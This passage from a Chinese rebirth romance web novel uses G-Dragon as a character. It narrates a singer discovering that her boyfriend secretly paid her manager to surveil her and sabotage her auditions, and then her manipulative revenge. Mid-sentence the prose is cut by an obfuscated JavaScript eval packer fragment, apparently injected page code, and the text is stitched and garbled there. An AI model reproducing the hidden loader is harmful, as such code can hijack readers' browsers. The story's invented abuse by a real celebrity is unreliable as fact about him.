这个时候江留月还不予置评,她的CP太多太多了,南思风不过是个三流演员,嗑他们的连其他CP超话的零头都不到。 然后,风向忽然变了。 先是有人在韩网上发帖质问为什么韩国不能封杀江留月,还让她得了一个网络投票的奖项,江留月得到韩国人的喜爱却连来韩国 领奖都不愿意,这是一种背叛和背刺。 这个节点非常不妙,恰巧是舆论战最尖锐的时候,中国艺人在韩国出道之后“叛逃”这件事情,实在是错综太多利益,很快骂战 就如火如荼起来。 南思风就是在这个时候出现,他发表了很长的文字来为江留月辩白,站在了江留月这边,表明她多年的不易与公司的打压,随后 放出了一大批“证据”。 也是那个时候,江留月才知道在自己身边工作期间,南思风偷拍了很多她的视频,很多视频里拍摄下她非常私人的镜头,有时候 是她因为情绪而在独自喝闷酒,有时候是她一个人坐在街头的长椅发呆,有时候是她穿着简单潦草的在工作室里反复调整歌曲细 节…… 这个人贱就贱在,他本是江留月的经纪人,拍摄的这些视频很难界定到底是偷拍还是记录工作,毕竟经纪人的工作范围与艺人私 生活重叠太多,界限十分模糊不清。 这些视频出来,也不过是他为江留月“申冤”的证据罢了,南思风不仅因此得到了极好的人设,还被不明真相的江留月的粉丝们 视为正义化身,纷纷翻墙为他搞数据加曝光,营销号们还顺势推出了“苦命明星和他们不离不弃的经纪人们”特辑盘点,很是霸 占了一番内娱韩娱两边的热搜。 当时江留月不仅不觉得感动,反而起了一身鸡皮疙瘩,她可太知道南思风是个什么作风的人了,占着她经纪人的位置没少在委托 方那边吃拿卡要的,平时工作就没有几个安排得妥当的,至于她后期站稳脚跟离开YG,那都是金优和她共同筹谋的结果,和南思 风有个鸡毛关系。 看着那些视频,江留月一阵阵的后背发凉,幸亏她和南思风确实关系不好,否则南思风拍到的可就不止这些了。 那阵子,江留月真的觉都睡不好,真怕南思风这个人真的拍了点别的东西,比如她和权志龙打电话的录音,比如她私下和朋友们的对话,哪怕对方听不懂中文,也总是拿捏在手里的筹码。 恐怖的不是敌人手里拿着刀,恐怖的是你根本不知道对方手里握着什么。 不能轻易去沟通交涉,这种时候,谁先沉不住气谁就丢掉主动权,江留月尽量让自己无视这些,她既不能出面说自己的确受了 苦,也不能站出来说这是莫须有,在这时候她的任何一种表现和站队都会激化矛盾,让事态进一步恶化。 江留月的焦虑直接反馈到身体上,她肉眼可见的消瘦了许多,光是应对当下产生的问题就够烦了,粉丝们还不明真相的将南思风 的话视为真相才是让她最郁闷心痛的。 在她眼里,南思风就是个随意践踏她所珍爱的一切的畜生,轻而易举的毁掉她已经趋于平静的人生。 然后,韩娱发生了一件更大的事情。 南思风销声匿迹了。 权志龙又有新女友了,新女友疑似年龄差将近10岁的后辈歌手。 后者的热度几乎引爆内娱韩娱,南思风的事情或有意或无意,就这样消失在大众视线里。 金优回了一趟韩国,回来的时候带来了一个U盘,江留月打开看了一下,里面大多是南思风拍摄的,金优告诉她,南思风多数拍 摄都是临时起意,大约是拍了偷偷卖掉的,但当时没什么新闻愿意报道江留月被“虐待”的事情,韩国媒体又不傻,没必要帮一 个已经离开韩国娱乐圈的人去怼当时还如日中天的YG,因此他后面也就没拍了,如今已经被金优一口价买断了。 “……那个人呢?” “拿着钱,去过逍遥日子了呗。” 金优并不避讳:“南思风的父母和亲族大多在木浦生活,我去请崔先生帮了忙。” 江留月嗯了一声,只觉得疲惫万分。 她知道,面对这样的危机,自己应该能做得更好。 但她离开韩国的时候太决断仓促了,人脉和关系都是需要维护的,对于那些忽然被她断崖式失去联系的人来说,她也许真的是 “叛逃”了吧。 江留月无法面对那些对自己付出真心,自己也付出真心的人,因此和韩国那边的朋友们联络更少了。 重新来到2014年之后,江留月对南思风的排斥和厌恶可想而知,她的许多工作都绕开了这位日后会引起大祸的经纪人。 南思风也是输在了过于傲慢上,如果发现江留月开始筹备专辑且是权志龙担任制作人之后立刻强行挤进工作,凭借江留月现在的 能力与立场,是很难将他直接开除出团队的。 毕竟南思风是YG指定的经纪人,在他没有犯打错之前将人换掉,几乎等同于和公司立刻撕破脸。 江留月已经在杨贤硕面前立下了规矩,杨贤硕不管出于什么原因,也做出了让步,她确实不能主动跳出来跟公司割席。 2014年,YG如日中天,YG family的‘和睦’也是有目共睹,这个时候跳出来公开对立,江留月不管是实力还是舆论都不占据任 何优势。 因此她虽然正面刚上了杨贤硕,也只限于打打嘴炮,关上门来互扔暴力熊花瓶装饰品这种,哪怕背地里撕得头破血流,在外人面前,总要笑眯眯的恭敬叫一声“社长nin”。 南思风因为江留月私自筹备专辑的事情生气,选择摆烂,是江留月求之不得的事情。 “那怎么办,你总需要一个经纪人吧,你不是eback了吗?我觉得顺英OPPA还不错,虽然年纪小了一点,但很有能力啊。” CL发出疑问。 “我知道。” 江留月不好说得太明白,李顺英的确很有能力,而且很难得,他英语和中文都不错,这也是当初他能进入江留月的团队的原因。 CL不知道的是,李顺英还有一个身份,那就是权志龙英语老师的亲弟弟,这个英语老师是当初bb为了进军海外市场特意聘请的, 权志龙上的课程最多,自然也和这个英语老师关系最好。 他似乎总是很讨女性喜欢,英语老师对他如同对亲弟弟一般,授课之余也参加一些聚餐活动,英语老师就带来了当时刚参加完兵 役回来的弟弟。 权志龙几乎是一眼就瞄上了这个其貌不扬,一口一个‘志龙君’的年轻男人,他比对方还小两岁,但社会地位和收入是完全凌驾 于对方,只是稍加恩惠,李顺英就成为了权志龙死心塌地的狗腿子。 在江留月筹备正式一专的时候,李顺英进入了她的团队,江留月一度非常喜欢信任这个能讲中文的大哥哥。 事实上,在曾经那个世界里,江留月直到2015年,都还很信任李顺英。 李顺英是她的商务经纪人,工作和南思风不同,南思风负责的是她作为歌手的大部分工作以及找上YG来分配给她的工作,李顺英 则负责的是额外的工作,比如说海外的杂志拍摄和商务这种之前没有和YG接触过,只凭江留月个人的影响力找上门来的工作,还 有就是影视的邀约工作。 2014年,江留月曾经是很难熬的一年,好在她真的很努力在自救,尽管事业上没什么起色,但最终找到了内心与现实的平衡。 2014年末,权志龙和太阳的小分队上了MAMA,为bigbang的回归拉开了序幕,忙碌的工作让权志龙身心俱疲,她作为恋人,最终 选择将更多的重心转移到权志龙身上。 在此之前,江留月已经努力过了,她的专辑改了又改,最后濒临停滞,她也尝试着接触了几个电视剧和电影的邀约,也努力去试镜了。 大约能感受到她不稳定的情绪,权志龙一直也在努力维持着两个人相处时的平衡,好几场戏都是权志龙先看了剧本,再和她一起 排练。 因为紧张所以台词卡壳的时候,是权志龙笑着鼓励她,让她坚持下去的。 排练的地方总是换来换去,但绝大多数,是陌生酒店的总统套房里,权志龙湿着头发穿着浴袍拿着她的台本,耐心的听她讲着剧 本里的故事和自己对人物的理解。 他刚从数万人的欢呼中退场,身上总是带有一些摄人心魂的蛊惑感和一些浅淡的疲惫感,有时候他太累了,江留月想自己读,他 却撒娇说要陪着她。 于是江留月躺在他的臂弯里就着头顶的阅读灯读着剧本,权志龙的手指摸着她的耳垂,沉静的倾听着。 大部分时候,权志龙会睡着,江留月想要关掉阅读灯,他却将她抱的很紧,江留月只好就着这个姿势继续看,但很快,她发现自 己无法集中精神,于是只好将视线从剧本的爱恨情仇里抽出,落在权志龙沉睡的脸庞上。 卸过妆的清秀的脸庞,高耸的鼻梁,薄软的嘴唇,熟悉的轮廓里,权志龙一半脸庞埋入很深的黑暗中。 他的事业春风得意,爱情也是,江留月长久的陪伴让他的身心都得到了满足,身上长了不少肉,原本锋利尖锐的线条也柔和很 多。 “别看了。” 不知道她注视了多久,权志龙忽然闭着眼睛说到。 江留月吓了一跳,整个人都哆嗦了一下,权志龙睁开眼睛,眼睛里哪有睡意,只有得意洋洋的狡黠。 “那么爱我的话,为什么不来亲亲我呢,塔伊。” 权志龙宽大的手掌抽走了她的剧本放在床头柜上,整个人玉山倾颓,压在她的身上。 他浅褐色的眸子在光线的作用下变得深不见底。 权志龙眼睛眨也不眨的看着她片刻,忽然微微皱眉,一股说不上的委屈劲儿出现在他脸上,无端像个撒娇的孩子。 江留月伸出手去抚摸他皱起来的眉毛。 “怎么了,志龙哥。” “总觉得幸福。” 权志龙俯下身来吻她,温热的吻,克制的有些颤抖。 “幸福的让我觉得好害怕。” 当时江留月不懂。 她不懂她哥为什么会害怕。 他想要的一切都得到了,名利,地位,财富,梦想,爱情……是权志龙年少白手起家,凭借一支铅笔在曲谱上勾勾画画,凭借着 满是汗水的脚印一步步走到今天的,这样自己去创造得到的一切,应该如同呼吸一样自然的被他所掌控。 这样拥有一切的人,为什么会害怕呢。 江留月想也想不明白,她只是凭借着本能拍了拍权志龙的后背。 “不怕不怕,我在这里,哥。” 权志龙沉默了一下,然后狂热的吻了上来,几乎要把她吞下肚子的气势抓着她沉沦在霓虹闪烁的夜晚。 他骨节分明的大手探索和掌握着她的身体的每一寸,用力到几乎要把她攥碎。 江留月总觉得,她哥似乎总是很担心她会消失一样。 她总是很茫然,不知道是不是因为艺术家的神经都比较敏感,不知道自己到底怎么做,才能安抚他,让他有十足的安全感。 她一度,这样怀疑着,觉得自己不够好。 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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权志龙暴怒地吼道,他抓起桌子上的笔筒啪的摔到了地上:“不是说这个试镜已经回绝吗?!我问你那孩子为什么会告诉我试镜 通过了!” 李顺英呼哧呼哧的喘着气,声音带着哭腔:“我不知道……我真的回绝了……志龙哥……我真的确定过了……” 好荒谬啊,李顺英比权志龙还大几岁,竟然毕恭毕敬的在叫对方哥。 江留月不合时宜的想到。 她站在门口,从她的视角,只能看到权志龙很窄的侧影和李顺英弯着腰的影子。 “去搞砸它。” 权志龙深呼吸了几次之后,冷冰冰地说道。 他伸出手拍了拍李顺英的肩膀。 “去搞砸它,你知道我的意思吧。” “能办到吧。” “悄悄地,谁也不知道的,找一个合适的理由搞砸它,必要的话,你被停职也可以。”权志龙微微的喘着气,他居高临下的看着 李顺英。 李顺英弯着腰,呼吸急促的点头。 权志龙显然暴怒到了极点,他想走又停下,对李顺英说道:“别再搞砸了,哥,我花了那么多钱,你得办事才行啊。” “你一直以来不是都办的很好嘛?” “别再出漏子了。” 权志龙似笑非笑:“哥……你没忘记我把你送到那孩子身边的理由吧。” “别让她受伤,别让她受委屈,也不要让她流眼泪。” “现在都是因为你,那孩子,又要多伤心一次了。” 李顺英一个劲的道歉,看得出来,他确实很怕权志龙。 权志龙厌烦看到这种反应,这时候,权志龙的手机振动了一下,他平复了一下呼吸,掏出手机看了一下,原来是他晚上预定的餐 厅发来了菜单,他快速回复了对方,加上了江留月喜欢吃的小蛋糕,并要求餐桌使用绣球花作为主布置,他记得江留月前两天点赞了一个花艺师的绣球花作品,还下单了种子想要买一些种在阳台上。 “啊……别今天。” 权志龙想到这里,心情总算舒服了一些,他补充道:“这件事情,今天不要做,今天她很高兴,我不想今天让她再难过了,塔伊 如果来问的话,你就和那个导演去接触,这周……不,下周再明确拒绝吧。” 李顺英没有说话,只是一味的点头。 权志龙这才很慢很慢的舒出一口气,但眉宇间,依然残留着些许情绪,是江留月熟悉的,苦闷而充满忧虑的委屈与不安感。 ————原来是这个啊。 江留月这个时候,才后知后觉的明白了过来。 原来是这个原因啊,即便是拥抱着我,即便是我付出了所有,即便是我掏出了心来送给你,你依然觉得害怕,觉得不安,觉得恐 惧的原因。 现在我知道理由了。 哥,你呢? 权志龙安排完了所有的事情,他看了一下时间,盘算了一下手头的事儿,差不多该是收个尾,然后去接江留月的时间了。 想到快要和心爱的甜蜜的恋人见面,他的心情再次变得轻盈了起来,脚步也轻快了许多。 他走到门口,拉开了门。 温暖的午后,阳光被窗户上的玻璃反射投影,最终歪歪扭扭定格在走廊上的地毯上。 门口这个位置,实在不太好,阴阴冷冷的。 权志龙的脚步顿住,呼吸也停滞了,巨大的惶恐与寒意从他的脚底忽然跳跃,将他整个人一口吞了下去。 江留月站在门口呆呆地看着他,她似乎比他更早被恐惧与寒意捕获,整个人都是僵直的。 只有眼泪,不停的,不停的,从那双总是含着笑意和璀璨光芒的双眼里滚落出来。 她整张脸都是惨白的,嘴唇也没有一丝血色,只有眼圈是通红的,红的有些渗人了,以至于眼泪滚落的如同血泪一般。 “不要让她流泪……” “不要让她受委屈……” “不要让她伤心……?” 江留月用飘忽的语气重复着权志龙刚才的话。 她很想歇斯底里的尖叫或者大哭大闹,但她不知道为何,反而笑了一下。 有些空虚,又有些荒谬的,笑了一下。 “哥,” 江留月只觉得自己应该很冷,不然为什么眼泪怎么那么滚烫,烫得她眼睛好痛好痛,痛的快要麻痹的程度。 眼前这个人,这个从她十四岁开始就陪伴在她身边的人,面容忽然变得模糊了,陌生了,甚至恐怖了。 真奇怪。 太奇怪了。 那可是她哥啊。 那可是,就算是搞怪节目组用硅胶把他裹成一个粽子,变成一个四五十岁肥嘟嘟大叔,她也能在电梯里一个照面就认出来的权志 龙啊。 她曾经是那么熟悉对方,淡褐色的眸子,总是皱起来的眉,喜欢埋在她脖颈嗅嗅的鼻尖,有点干燥却很温暖的嘴唇。 如今却模糊成了无法拼凑起来的模糊的一团团的马赛克怪物。 她忽然明白了权志龙的恐惧。 那权志龙呢。 他明白吗? “哥,到底是谁在让我流眼泪啊。” 27.谎言的正反面 27.谎言的正反面 即便过去了很多年,权志龙也经常梦到这天的这个场景。 温暖的阳光不知道为什么看起来冷冷的,江留月脸上斑驳的泪痕像是碎裂又融化的冰雪。 他手足无措的站在那,无数话语堵在喉咙里,但还没说出口,已经自己都觉得是狡辩。 于是,他只能低着头,急促的呼吸着,越来越漫长的沉默就像是从脚背开始上升的海平面,逐渐将他吞没。 这种窒息感太过强烈了,权志龙不由自主的开始挣扎起来。 一种本能驱使着他故作镇定的扯了一下嘴角。 太难看了。 比起笑容,更像是个哭脸。 他艰难的寻找着措辞,磕磕巴巴的试图说些什么解释,但就是说不出一句完整的话,情急之下,他的眼泪也涌了出来。 他的痛苦和恐惧太过浓烈和明显,此消彼长之下,江留月的情绪反而进入了诡异的平稳之中。 看着权志龙的泪水,她反而从中获取了某种讯息和安慰一般,泪水渐渐地止住了,恍惚飘散的视线也变得集中和稳定起来。 是了。 权志龙一直都知道,看似被他严密的保护着的江留月,看似在他的庇护之下如同琉璃一样易碎的孩子,在两个人的关系中,才是那个担任保护者身份的人。 他的敏感、孤僻、暴躁、易怒、多疑,都在江留月的包容中被软化,被稀释,他原本脆弱的灵魂,在这孩子无私地爱意中生出了 骨骼,拥有了脉搏。 他肆意的使用着关于爱的特权,正是因为,江留月为他搭建了一个稳固的乌托邦。 一个对他绝对崇拜,绝对信任,又对他绝对忠诚、绝对无私的恋人。 他的缪斯、月神、梦魇与审判者。 他的女儿、妹妹、妻子和母亲。 这世界上,再也没有,也不可能再有的,和他的命运紧密相连,陪伴他走过破旧的地板,也走过华丽的舞台,站在路灯下,也站 在聚光灯下,眼泪和血都混在一起的人。 这本该幸福、无暇、完美的一切。 现在即将被他的卑劣尽数摧毁。 是脚下坍塌的深渊,是悬在头顶的利剑,是被拽住的猫尾巴。 权志龙似乎天生不会躲避。 灾难、痛苦、诋毁、阴谋来袭的时候,他大多数都站在原地,他一直以来所做的就是撑住不要倒下,全数吞下这些痛苦,然后,残缺不全的继续向前行走。 如今,他也站在这,甚至不知道该怎么开口道歉的,等待着对方的审判。 李顺英早就不知道跑到哪里去了,也可能一直躲在屋子里没有出来,但那并不重要。 江留月抹去脸颊上的泪水,看上去比他要冷静、体面的多。 她越是这样,权志龙越是感到恐惧。 冰冷的海水已经没过胸口,他连呼吸都觉得刺痛。 “哥。” 江留月用红红的眼睛看着他,苍白的脸上带着些许笑意。 她似乎是发现了什么有意思的事情。 权志龙紧张的呼吸都顿住了,他脑子里一片混乱,不知道对方会怎么样愤怒,甚至会上来撕咬,也许会给他响亮的耳光,哪怕是 给他来上一刀呢? 江留月的声音里,却听不出什么愤怒。 她看起来没那么生气,甚至口吻中带着玩笑的语气: “你看起来就像是个被害者那样呢。” “看起来又伤心,又难过,又恐惧的样子,不停流着眼泪的样子,我都要开始怀疑自己了……不,不对……一直以来,我都是这 样,怀疑我自己,我一次都没有怀疑过你。” 权志龙的身体剧烈的晃了一下,他下意识的抓住了门框才稳住了自己的身形。 “看看吧。” 江留月站在那,她的脸颊上泪痕已经被尽数抹去,只留下冰冷的笑意。 “你很柔弱呢,哥,心和身体都是。” “可是,你的心却那么的狠毒。” “读剧本的时候,鼓励我去试镜的时候,我等消息的时候忐忑不安的时候说我一定可以的时候,我被通知失败抱着我安慰我的时候,你那个时候脑子里到底在想什么啊哥。” “看着我感动到不行的样子,你一定在偷笑吧,笑什么呢,笑我太蠢了,还是笑自己太聪明了,又或者……只是觉得好笑?” “把人像是玩偶一样玩弄着,心也是,感情也是,人生也是……监视着我,控制着我……你真的知道自己在干什么吗?” 权志龙想要抽口气,才发现自己的呼吸都在发抖。 他的嘴唇嗫嚅片刻,最终也说不出什么话。 他当然知道。 所以,才更加的卑劣,更加的狠毒和自私。 “你为什么要这样对我啊,哥。” 江留月带着真切的迷茫看着他,问出了这个问题。 她曾经的不明白,在看到权志龙又一次沉默之后,烟消云散了。 “……原来是这样啊。” “你这个自私的混蛋。” 是因为你是个自私、偏执又恶毒的混蛋。 江留月闭上了眼睛。 从她干涸的眼睛里,再次流出泪水。 在此时此刻,她告诉自己,这将是自己最后一次为权志龙流下的眼泪。 曾经的那些撕心裂肺、心如刀割,那些对自己无数次的质疑,恐惧的不配得感,在这一刻,都剥去了伪装,变成了可笑的愚蠢过 去。 江留月不再等待权志龙的回答,他的话语和这个人对她来说,在这一刻,都失去了意义。 她转身就走,而权志龙愣了一下,跌跌撞撞的扑上来抓住了她的衣角。 “塔伊。” 权志龙的眼泪比她多得多。 很难想象吧,他这样站在金字塔顶端的人,他这样傲慢骄傲的人,他这样被千万人追捧的命运宠儿,他这样年轻又强大的上位 者,总是有着流不完的泪水,在她面前袒露着不为人知的脆弱,卖弄着自己的可怜与卑微的恋慕。 这些曾让她无数次心软心碎的泪水,让她心甘情愿献祭自己的泪水,如今看来,只是令人厌烦的毫无意义的液体罢了。 江留月转过身,狠狠地给了权志龙一个耳光。 打得太狠了,权志龙整张脸都偏了过去,嘴角立刻涌出红色的蜿蜒痕迹。 权志龙几乎被这力度抽的摔倒,一个踉跄才勉强站住。 他惶恐的,用受到惊吓的双眼看着江留月,整个人都充满了不可置信。 “别碰我。” 江留月恶狠狠地,用充满仇恨的眼神看着他。 那视线狠毒的刺穿了他的心脏。 江留月一刻也不停下的,将他残留的侥幸和希望血淋淋的扯了下来: “你真让我恶心。” “如果可以的话,我————————” “******************” 江留月一阵耳鸣。 她这才意识到,自己竟然在车上睡着了。 “……” 竟然梦到了如此久远的事情。 江留月想。 这个梦境太真实了,她甚至觉得手掌有些发麻,大约是被她自己侧身压到了吧。 江留月揉了揉眼睛,深呼吸了一口气,从旁边的小冰箱里拿出了一瓶水。 她活动的动静吸引到了前方开车的司机。 江留月听见了李顺英的声音。 “Alice,你醒了吗,大约还有十分钟车程,我们就到了哦。” 刚从曾经的梦境中清醒,江留月乍然听到对方的声音,忍不住起了一身鸡皮疙瘩,她含糊的答应了一声,用冰水唤醒了自己的理 智。 江留月看了一眼窗外的街景,车窗上映衬出她的脸庞,那是任何医美或保养都无法做到的,真正属于二十多岁的年轻女孩的美丽 脸庞。 哪怕她一直磋磨着自己,这张脸庞上依然是有着勃勃生机和令人惊叹的美貌。 江留月这才重新找回自己身在2014,依然只有23岁的实感。 她往前瞥了一眼,从她的角度,能看到李顺英专心看车的侧脸,看来陌生又熟悉。 江留月这才想起来,这一年李顺英的祖父去世了,他年初回去奔丧,这个礼拜才回到YG工作,也是自己自来到2014年之后第一次打照面,难怪会因此做上这样一个梦。 自江留月撞破了他和权志龙那见不得光的交易之后,李顺英就被她态度强硬的驱逐出了经纪人团队,然后她开始疑神疑鬼,因此开始调查自己身边的人,结果还真抓出了崔载国(司机)是柳天赐的战友的事情,这下江留月草木皆兵起来,她除了阿苍(化妆师)与文恩彩(女助理)之外拒绝信任任何人,强硬要求自己来筛选经纪人。 金优就是从这个时候开始进入权力中心的,从那之后,金优就陪伴在她的左右,江留月又从国内请了女保镖和警卫,她的这些行 为,也被后续众人解读为与YG割席的信号。 李顺英这件事情给江留月带来的影响是毁灭性的,她铁了心要和权志龙分手,中间撕扯了好几个来回,权志龙又是赌咒发誓又是流泪哀求又是请说客,在说客都被江留月一起拉黑之后,他才意识到,江留月这次是真的要跟他分手。 显然,权志龙承受不住这样的打击,尽管他还撑着理智正eback,但所有人都能看出来,他的身体和精神都十分不稳定。 江留月刚开始还是个彻底割席的状态,但她那时候已经将自己的粉丝缘和YG团粉的好感败得差不多了,周围的人又一直在当说 客,在试探着进行事业规划之后,江留月意识到了自己的困境。于是几番思量之后,她似突然回心转意一般,态度和缓了不少。 又是两次拉扯,江留月顺理成章的重新回到了权志龙身边。 所有人都松了口气,以为一切都会回到正轨。殊不知,此时的江留月已经被仇恨和背叛的痛苦支配,她回到权志龙身边,完全是处于利用的考量与对报复的强烈渴望。 她和权志龙几乎每天都吵架,权志龙经常被她气得要晕过去,气她的冷漠发言,气她的寡情刻薄,气她和其他男人来往过密,气 她践踏他的真心。 “哥,你忍一忍吧。” 江留月轻飘飘的说道:“我可是忍了很久了呢。” 权志龙眼圈通红,抿着嘴看着江留月,胸口一起一伏,因为情绪的过于紧绷和忙碌的工作,他瘦得惊人,几乎形销骨立。 江留月却又能哄着他撑住,稍微软化的态度都能让权志龙开心上一阵子,然后江留月又会恶意让他暴躁,情绪上的反复过山车让 权志龙几乎没几天都大哭一场,倒也没有了作妖的精气神,整个人都萎靡不少。 眼看他确实快要崩溃了,江留月又会给一些甜头,像是续命的毒药一样,她只要叫上一声哥哥,权志龙又觉得,一切好像还能回 去一般萌生出好好相处的希望。 江留月像是个真正的商人那样,冷静而残酷的榨取着权志龙的价值,权志龙一边忙着自己的个人活动,一边努力按照她的要求写 歌作曲,并担任牵线搭桥的角色介绍她认识了许多资源大咖与音乐家。 江留月变得十分忙碌,她之前只觉得权志龙这个GD的身份十分麻烦,几乎是两个人之间的鸿沟,现如今只觉得GD好过权志龙千万倍,只是几句话语,就抵得过他人千辛万苦。 之前是她太蠢了,觉得利用恋人的身份地位往上爬会为人不齿,只要能攀青云梯,什么助力不是助力? 摆脱了道德的束缚,江留月仅用了半年时间就将权志龙手里的能用资源收割大半,然后将这些都铺作自己回内娱的通天大道。 权志龙也逐渐从惶惑到绝望,从绝望又到沉默,最终选择了接受这一切。 他去当兵了,去的是最严苛的部队,他似乎终于察觉到了自己的软弱,决定要将这一切粉碎彻底。 这很好。 他们去的都是,坦荡的,明亮的道路。 他们都不应该回头。 但凡回头,都是罪该万死。 江留月一直都这 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江留月手指尖勾着包包的链条,任凭包在地毯上拖着,从电梯里一走出去,就看到走廊尽头的入户门开着。 权志龙穿着一身睡衣,素颜戴着个黑框眼镜双手环胸靠在门边,看到她的出现,立刻就露出笑容。 “公主nin,终于舍得回家了?” 江留月用手指甩了甩包,将它一把丢向权志龙。 权志龙双手接住包之后随手放在玄关旁边,然后嘴角微翘,打开双手向她走过来。 江留月站着不动,等权志龙走到跟前了才撒娇一般搂住了对方的脖子。 权志龙将她紧紧地抱起来,江留月借着腾空的姿势甩掉了自己的鞋子,权志龙抱着她先不动,而是将脸埋在她的怀里深吸一口 气。 “……啊……” 权志龙轻笑了一声:“你吃了烟熏三文鱼,好吃吗?” 江留月嗯了一声,低下头亲他的脸颊,权志龙显然受用极了,嘴角的弧度怎么都压不住,抱着她慢慢往门口走,还没走到门口, 他们就忍不住接吻。 很自然的,很亲密的,两个人的呼吸节奏都几乎一致。 “哥哥,我想你。” 江留月依偎在权志龙的怀里,她的耳朵能听到权志龙的心跳,扑通扑通,早就乱了节拍,激烈的一塌糊涂。 权志龙面上却一片从容,只有耳尖通红,嘴硬的嘟囔着:“你怎么那么粘人。” 粘人的到底是谁啊。 江留月心想。 明知道李顺英将一切都已经汇报给了权志龙,江留月依然在睡前将自己今天的工作叽叽喳喳的分享给对方,她现在有个新的乐 趣,就是观察权志龙听自己说话的神情,如果自己说的是实话,他会不自觉的跟着点头,如果自己含糊带过或者说谎,权志龙会 微微挑眉,嘴角不自觉的下撇。 真有意思啊。 江留月饶有兴趣的看着对方。 权志龙感受到了她的注视,摸了摸她柔软的发丝,在她额头上亲了一口,才轻声问道:“怎么了?”(wei~?) 他的声音里带着餍足的沙哑和十足的温柔,如果录下来听,估计自己都会吓一跳。 权志龙对此毫无知觉,只是用眼神追随江留月的动作,修长的手指眷恋的挑着一缕即将滑落的发丝。 “南思风不好,我想要个换个经纪人。” 江留月趴在他的胸口,眼睛一眨也不眨的看着他。 “怎么了?他做了什么吗?” 权志龙的脸色陡然严肃起来,他立刻半起身,江留月注意到他急躁的眉毛都微微拧了起来。 她毫不怀疑,自己只要随意捏造一个罪名,权志龙第二天就能让南思风消失在这个公司里。 权志龙是不能容忍她受到任何怠慢与伤害的。 江留月轻轻地叹了口气,在权志龙更着急之前安抚道:“他就是工作很消极,我的专辑筹备都要受影响了,我讨厌这样。” 权志龙松了口气:“这样,那就换一个吧,我去说,明天就换。” 江留月嗯了一声。 权志龙安抚的亲她,向她轻声道歉说最近太忙了,不过她上次那两首歌都没录制好,他重新调整了编曲,保证她会喜欢。 江留月这才注意到,他的眉宇间似乎有些疲倦,大约是趁着拍摄画报或者保姆车休息的缝隙去进行调整的。 “给你的一定是最好的,塔伊啊,你知道哥哥的心吧。” 权志龙用鼻尖蹭着她的脸颊,嘴唇有一下没一下的亲她,不是嘴唇,而是脸颊、头发、耳朵,似乎她每一寸肌肤都能惹得他无尽 的喜爱。 江留月懒洋洋的勾着他的脖子:“经纪人呢,哥有没有人选?” 权志龙没有停顿的亲吻她。 “李顺英不就很好吗,他会好好的照顾你的。” 江留月笑了一下。 “笑什么,他虽然年轻,但确实很有能力呀。” 权志龙不明所以。 “没什么。” 江留月抚摸着权志龙同样年轻的脸庞,没有经历那几年的互相折磨,此时的权志龙有着饱满的脸庞,温柔澄澈的褐色眸子,他注视着江留月的眼神,是如此的多情又宠溺,嘴角总是若有似无的带着笑意。 “只是感觉到了,哥你真的很爱我这件事情。” 权志龙挑了下眉毛: “你这个没良心的坏丫头,现在才发现吗?” “只是总能确认到罢了。” 江留月搂着他的脖子亲了一口:“很踏实的,确认了。” 哪怕是扭曲的、偏执的、毁灭性的爱。 也没有关系。 也许23岁的江留月只觉得厌恶、恐惧、痛苦,但如今的我,却只觉得踏实可靠。 人和人啊,就是这样,越是扭曲,越是难以割舍,越是纯净,反而越是易碎。 这如此坚固、执着、热烈,难以坍塌的浓烈爱意。 一定能托举我,到更高的地方去。 28.危险人选 28.危险人选 权志龙果然说到做到。 第二天江留月就拿到了两首歌曲的demo,除了《happiest》之外,还有一首极具魔性洗脑的欢快舞曲。 权志龙甚至模仿着她的声线,将导入都全部做完了,只要家族演唱会结束,这两首歌的录制立刻就能登上日程。 自他从日本回来之后,除了家族演唱会排练,还有bigbang新专辑的筹备和策划工作以及一大堆广告cf或杂志封面的拍摄,中间还抽空飞去日本参加了两个新锐艺术展,真不知道哪里挤出来的时间为她做的这些。 江留月将U盘挂在小拇指上来回的甩着圈,漫不经心的用手机回复着权志龙的短信。 有趣的是,权志龙今天也是精神奕奕的投入了自己的工作当中,还有空在间隙里跟她有来有回的发几句调情的短信。 果然,足够有能力的男人从来不觉得自己的恋人的求助是麻烦,江留月回想起曾经因为心疼权志龙,一心想让他多休息少操心的自己,就觉得蠢得发绿。 “OPPA ZZANG~” 江留月发送了最后一个撒娇的表情包,放下手机看向门口。 阿苍抱着一堆品牌方送来的衣物走了进来,她一头五颜六色的脏辫吸引了江留月的注意力。 “真帅啊,我都想试试了。” 江留月忍不住伸出手。, 阿苍低下头让她摸:“喜欢的话可以给你编,不做我这种,有方便拆的那种。” “留着等专辑活动的时候做概念妆吧。”如此绚烂的颜色可不适合在这种家族演唱会的场合独树一帜,江留月对她和东永裴的表 演另有想法:“这次我有别的打算。” 现在的江留月差不多是之后10年里最为纤瘦的时候,白幼瘦正是此时的审美主流,之前对于容貌身材过于焦虑的她给来自2024年的自己留下了一笔宝贵的财富:白到发青的肌肤与瘦到如同蝴蝶一样纤弱的身材。 江留月并不打算继续维持这样不健康的体态,她正在逐步恢复正常的饮食,将领先众人十年的健康理念贯彻下来,但在此之前, 她决定为此时病态却美丽的自己留下一些令所有人都印象深刻的艺术纪念品。 阿苍用平板展示着自己最近做的一些形象设计,江留月翻了一下,和自己之前的定位大差不差,便停了下来。 阿苍有些紧张的看着她:“怎么了,不满意吗?” “都很好,但我想有点变化。” 江留月勾起自己的一缕头发,笑嘻嘻的对阿苍说道: “我想把头□□了。” 阿苍惊讶的瞪大了眼睛。 “类似的风格我已经厌倦了,现在想打破限制,做点有意思的造型,你觉得怎么样?” 什么怎么样。 阿苍只觉得脑子里直接放起了烟花,她几乎是迫不及待的用手拢着江留月那精心保养的柔软发丝,脑子里的想法一个接一个的往 外蹦,兴奋地心脏都咚咚跳。 她正要来上一波狂热发言,却又来了一个紧急刹车:“……你确定好了吧,头□□染可没有回头路走。” 她没有把话说得太明显。 但江留月懂她的意思。 权志龙对她那近乎病态的占有欲,也包括她的衣着打扮,曾经因为阿苍想要给她一些比较破格的造型,权志龙很是阴阳怪气了一 番。 阿苍气的要死,本要揭竿而起,但权志龙却三言两语,轻描淡写的,将她的设计修改大半,结果倒是更合适江留月。 